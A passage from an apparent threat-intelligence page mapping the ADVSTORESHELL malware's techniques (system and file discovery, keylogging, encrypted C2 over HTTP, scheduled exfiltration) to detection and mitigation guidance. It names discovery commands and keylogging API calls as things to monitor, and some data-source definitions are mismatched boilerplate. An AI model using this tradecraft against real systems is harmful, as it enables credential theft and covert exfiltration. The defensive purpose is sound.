Monitor executed commands and arguments for actions that may attempt to get information about running processes on a system.

Process: OS API Execution

Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)

Monitor for API calls may attempt to get information about running processes on a system.

Process: Process Creation

Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)

Monitor for newly executed processes that may attempt to get information about running processes on a system.

System Information Discovery

Discovery

ADVSTORESHELL can run Systeminfo to gather information about the victim.

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Tools such as Systeminfo can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a Network Device CLI on network devices to gather detailed system information. System Information Discovery combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.

Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.

Monitoring the following activities in your Organization can help you detect this technique.

Command: Command Execution

Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)

Monitor executed commands and arguments that may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.

Process: OS API Execution

Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)

Monitor for API calls that may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. In cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.

Process: Process Creation

Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)

Monitor newly executed processes that may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.

File and Directory Discovery

Discovery

ADVSTORESHELL can list files and directories.

Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Many command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate. Custom tools may also be used to gather file and directory information and interact with the Native API. Adversaries may also leverage a Network Device CLI on network devices to gather file and directory information.

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.

Monitoring the following activities in your Organization can help you detect this technique.

Command: Command Execution

Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)

Monitor executed commands and arguments that may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.

Process: OS API Execution

Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)

Monitor for API calls that may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.

Process: Process Creation

Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)

Monitor newly executed processes that may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.

Peripheral Device Discovery

Discovery

ADVSTORESHELL can list connected devices.

Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.

Monitoring the following activities in your Organization can help you detect this technique.

Command: Command Execution

Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)

Monitor executed commands and arguments that may attempt to gather information about attached peripheral devices and components connected to a computer system.

Process: OS API Execution

Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)

Monitor for API calls that may attempt to gather information about attached peripheral devices and components connected to a computer system.

Process: Process Creation

Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)

Monitor for newly executed processes that may attempt to gather information about attached peripheral devices and components connected to a computer system.

Input Capture

Collection

Keylogging


ADVSTORESHELL can perform keylogging.

Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when OS Credential Dumping efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured.

Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes. Some methods include:

  • Hooking API callbacks used for processing keystrokes. Unlike Credential API Hooking, this focuses solely on API functions intended for processing keystroke data.
  • Reading raw keystroke data from the hardware buffer.
  • Windows Registry modifications.
  • Custom drivers.
  • Modify System Image may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.

Monitoring the following activities in your Organization can help you detect this technique.

Driver: Driver Load

Attaching a driver to either user or kernel-mode of a system (ex: Sysmon EID 6)

Monitor for unusual kernel driver installation activity

Process: OS API Execution

Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)


Monitor for API calls to the SetWindowsHook, GetKeyState, and GetAsyncKeyState. and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.

Windows Registry: Windows Registry Key Modification

Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)

Monitor for changes made to windows registry keys or values for unexpected modifications

Data Staged

Collection

Local Data Staging

ADVSTORESHELL stores output from command execution in a .dat file in the %TEMP% directory.

Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.

Adversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.

Monitoring the following activities in your Organization can help you detect this technique.

Command: Command Execution

Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)

Monitor executed commands and arguments arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as Windows Management Instrumentation and PowerShell.

File: File Access

Opening a file, which makes the file contents available to the requestor (ex: Windows EID 4663)

Monitor processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib.

File: File Creation

Initial construction of a new file (ex: Sysmon EID 11)

Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.

Windows Registry: Windows Registry Key Modification

Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)

Consider monitoring accesses and modifications to local storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.

Archive Collected Data

Collection

ADVSTORESHELL encrypts with the 3DES algorithm and a hardcoded key prior to exfiltration.

An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.

Both compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.

Audit

System scans can be performed to identify unauthorized archival utilities.

Monitoring the following activities in your Organization can help you detect this technique.

Command: Command Execution

Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)

Monitor executed commands and arguments for actions that will aid in compression or encrypting data that is collected prior to exfiltration, such as tar.

File: File Creation

Initial construction of a new file (ex: Sysmon EID 11)

Monitor newly constructed files being written with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.

Process: Process Creation

Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)

Monitor for newly constructed processes and/or command-lines that aid in compression or encrypting data that is collected prior to exfiltration, such as 7-Zip, WinRAR, and WinZip.

Script: Script Execution

Launching a list of commands through a script file (ex: Windows EID 4104)

Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.

Archive Collected Data

Collection

Archive via Custom Method

ADVSTORESHELL compresses output data generated by command execution with a custom implementation of the Lempel–Ziv–Welch (LZW) algorithm.

An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.

Monitoring the following activities in your Organization can help you detect this technique.

File: File Creation

Initial construction of a new file (ex: Sysmon EID 11)

Monitor newly constructed files being written with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.

Script: Script Execution

Launching a list of commands through a script file (ex: Windows EID 4104)

Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.

Application Layer Protocol

Command and Control

Web Protocols

ADVSTORESHELL connects to port 80 of a C2 server using Wininet API. Data is exchanged via HTTP POSTs.

Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Protocols such as HTTP and HTTPS that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.

Network Intrusion Prevention

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.

Monitoring the following activities in your Organization can help you detect this technique.

Network Traffic: Network Traffic Content

Logged network traffic data showing both protocol header and body values (ex: PCAP)

Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).

Network Traffic: Network Traffic Flow

Summarized network packet data, with metrics, such as protocol headers and volume (ex: Netflow or Zeek http.log)

Monitor for web traffic to/from known-bad or suspicious domains and analyze traffic flows that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, or gratuitous or anomalous traffic patterns). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).

Data Encoding

Command and Control

Standard Encoding

C2 traffic from ADVSTORESHELL is encrypted, then encoded with Base64 encoding.

Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME. Some data encoding systems may also result in data compression, such as gzip.

Network Intrusion Prevention

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.

Monitoring the following activities in your Organization can help you detect this technique.

Network Traffic: Network Traffic Content

Logged network traffic data showing both protocol header and body values (ex: PCAP)

Monitor for network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.

Encrypted Channel

Command and Control

Symmetric Cryptography

A variant of ADVSTORESHELL encrypts some C2 with 3DES.

Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.

Network Intrusion Prevention

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.

Monitoring the following activities in your Organization can help you detect this technique.

Network Traffic: Network Traffic Content

Logged network traffic data showing both protocol header and body values (ex: PCAP)

Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).

Encrypted Channel

Command and Control

Asymmetric Cryptography

A variant of ADVSTORESHELL encrypts some C2 with RSA.

Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.

For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as Asymmetric Cryptography.

Network Intrusion Prevention

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.

SSL/TLS Inspection

SSL/TLS inspection can be used to see the contents of encrypted sessions to look for network-based indicators of malware communication protocols.

Monitoring the following activities in your Organization can help you detect this technique.

Network Traffic: Network Traffic Content

Logged network traffic data showing both protocol header and body values (ex: PCAP)

Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).

Scheduled Transfer

Exfiltration

ADVSTORESHELL collects, compresses, encrypts, and exfiltrates data to the C2 server every 10 minutes.

Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.

When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over C2 Channel or Exfiltration Over Alternative Protocol.

Network Intrusion Prevention

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools.

Monitoring the following activities in your Organization can help you detect this technique.

Network Traffic: Network Connection Creation

Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)

Monitor for newly constructed network connections that are sent or received by untrusted hosts.

Network Traffic: Network Traffic Flow

Summarized network packet data, with metrics, such as protocol headers and volume (ex: Netflow or Zeek http.log)

Monitor for network traffic originating from unknown/unexpected hardware devices. Local network traffic metadata (such as source MAC addressing) as well as usage of network management protocols such as DHCP may be helpful in identifying hardware.

Exfiltration Over C2 Channel

Exfiltration

ADVSTORESHELL exfiltrates data over the same channel used for C2.

Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.

Data Loss Prevention

Data loss prevention can detect and block sensitive data being sent over unencrypted protocols.

Network Intrusion Prevention

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools.

Monitoring the following activities in your Organization can help you detect this technique.

Command: Command Execution

Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)

Monitor executed commands and arguments that may steal data by exfiltrating it over an existing command and control channel.

File: File Access

Opening a file, which makes the file contents available to the requestor (ex: Windows EID 4663)

Monitor for suspicious files (i.e. .pdf, .docx, .jpg, etc.) viewed in isolation that may steal data by exfiltrating it over an existing command and control channel.

Network Traffic: Network Connection Creation

Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)

Monitor for newly constructed network connections that are sent or received by untrusted hosts.

Network Traffic: Network Traffic Content

Logged network traffic data showing both protocol header and body values (ex: PCAP)

Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).

Network Traffic: Network Traffic Flow

Summarized network packet data, with metrics, such as protocol headers and volume (ex: Netflow or Zeek http.log)

Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.